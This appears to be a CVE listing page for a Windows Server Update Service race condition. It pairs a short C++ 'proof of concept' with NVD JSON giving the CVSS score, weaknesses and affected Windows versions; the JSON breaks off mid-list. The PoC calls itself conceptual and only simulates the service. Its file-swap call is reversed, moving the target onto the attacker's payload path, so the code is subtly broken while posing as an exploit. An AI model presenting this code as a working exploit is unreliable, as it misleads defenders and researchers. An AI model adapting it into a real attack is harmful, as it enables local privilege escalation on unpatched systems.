CVE-2026-26174

/* * PoC for CVE-2026-26174 (Race Condition in WSUS) * Conceptual demonstration only. */ #include <windows.h> #include <stdio.h> #include <thread> // Simulated target file path used by WSUS LPCWSTR targetFile = L"C:\\Windows\\Temp\\wsus_update.tmp"; LPCWSTR maliciousFile = L"C:\\Users\\Attacker\\payload.dll"; void AttackerThread() { while (TRUE) { // Attempt to exploit the race window if (MoveFileExW(targetFile, maliciousFile, MOVEFILE_REPLACE_EXISTING | MOVEFILE_WRITE_THROUGH)) { printf("[+] Race won! File replaced.\n"); break; } Sleep(1); // Tight loop to maximize hit chance } } void TriggerServiceThread() { // Simulate the service operation that touches the file // In a real scenario, this would call a vulnerable WSUS API printf("[*] Triggering WSUS operation...\n"); Sleep(100); // Small delay to create window HANDLE hFile = CreateFileW(targetFile, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if (hFile != INVALID_HANDLE_VALUE) { printf("[*] Service accessed file.\n"); CloseHandle(hFile); } } int main() { printf("Starting PoC for CVE-2026-26174...\n"); // Create threads to simulate race condition std::thread t1(TriggerServiceThread); std::thread t2(AttackerThread); t1.join(); t2.join(); return 0; }

{"cve": {"id": "CVE-2026-26174", "sourceIdentifier": "[email protected]", "published": "2026-04-14T18:16:52.353", "lastModified": "2026-04-23T19:06:25.930", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Concurrent execution using shared resource with improper synchronization ('race condition') in Windows Server Update Service allows an authorized attacker to elevate privileges locally."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.0, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.0, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-362"}, {"lang": "en", "value": "CWE-416"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1607:*:*:*:*:*:*:x64:*", "versionEndExcluding": "10.0.14393.9060", "matchCriteriaId": "158C16A3-547E-4130-8428-8E429C37E573"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1607:*:*:*:*:*:*:x86:*", "versionEndExcluding": "10.0.14393.9060", "matchCriteriaId": "58E1A340-D49A-4EBB-A750-876922ACD5CA"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1809:*:*:*:*:*:*:x64:*", "versionEndExcluding": "10.0.17763.8644", "matchCriteriaId": "64248504-2307-45FC-8FF3-7A227CFD8675"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1809:*:*:*:*:*:*:x86:*", "versionEndExcluding": "10.0.17763.8644", "matchCriteriaId": "9B1465B1-BDE6-4634-8F12-43F71D68A4D6"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_21h2:*:*:*:*:*:*:arm64:*", "versionEndExcluding": "10.0.19044.7184", "matchCriteriaId": "88A175C4-E033-4FE7-B2BF-8BAE14321BC4"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_21h2:*:*:*:*:*:*:x64:*", "versionEndExcluding": "10.0.19044.7184", "matchCriteriaId": "86DBF14A-F486-4FE7-9126-D1D54952FC6C"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_21h2:*:*:*:*:*:*:x86:*", "versionEndExcluding": "10.0.19044.7184", "matchCriteriaId": "C375372B-D3D4-4B11-AAD8-69AC344C24BC"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_22h2:*:*:*:*:*:*:arm64:*", "versionEndExcluding": "10.0.19045.7184", "matchCriteriaId": "8CE2E268-E776-4697-9E43-33ABA4CDBE05"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_22h2:*:*:*:*:*:*:x64:*", "versionEndExcluding": "10.0.19045.7184", "matchCriteriaId": "269B8E88-6473-41DD-BA33-D9184B82CA58"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_22h2:*:*:*:*:*:*:x86:*", "versionEndExcluding": "10.0.19045.7184", "matchCriteriaId": "FCBB431B-EF21-4454-BDA3-D8F276BE7A64"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_23h2:*:*:*:*:*:*:arm64:*", "versionEndExcluding": "10.0.22631.6936", "matchCriteriaId": "B33CE091-B873-4C30-BA05-54A8C1839212"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_23h2:*:*:*:*:*:*:x64:*", "versionEndExcluding": "10.0.22631.6936", "matchCriteriaId": "E3AF28F3-D486-4B88-9E0E-371241024174"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_24h2:*:*:*:*:*:*:arm64:*", "versionEndExcluding": "10.0.26100.8246", "matchCriteriaId": "94EB36C7-1FF2-4B44-AD91-F3540F09393E"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_24h2:*:*:*:*:*:*:x64:*", "versionEndExcluding": "10.0.26100.8246", "matchCriteriaId": "14B23C3F-C8AC-491A-BCA5-EB6982C8F9E9"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_25h2:*:*:*:*:*:*:arm64:*", "versionEndExcluding": "10.0.26200.8246", "matchCriteriaId": "361B5DAB-8D1F-45D7-A33C-F49EBA56B5F8"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_25h2:*:*:*:*:*:*:x64:*", "versionEndExcluding": "10.0.26200.8246", "matchCriteriaId": "ADC6CE99-AB5D-4DD5-82A9-892366C4B2FD"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_26h1:*:*:*:*:*:*:arm64:*", "versionEndExcluding": "10.0.28000.1836", "matchCriteriaId": "690E74A8-E72C-47B6-96EB-37C48D69A635"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_26h1:*:*:*:*:*:*:x64:*", "versionEndExcluding": "10.0.28000.1836", "matchCriteriaId": "13A01FA1-08DC-4E33-9FFC-AB4BCD9634CA"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2012:-:*:*:*:*:*:*:*", "matchCriteriaId": "A7DF96F8-BA6A-4780-9CA3-F719B3F81074"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2012:r2:*:*:*:*:*:*:*", "matchCriteriaId": "DB18C4CE-5917-401E-ACF7-2747084FD36E"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:win ... (truncated)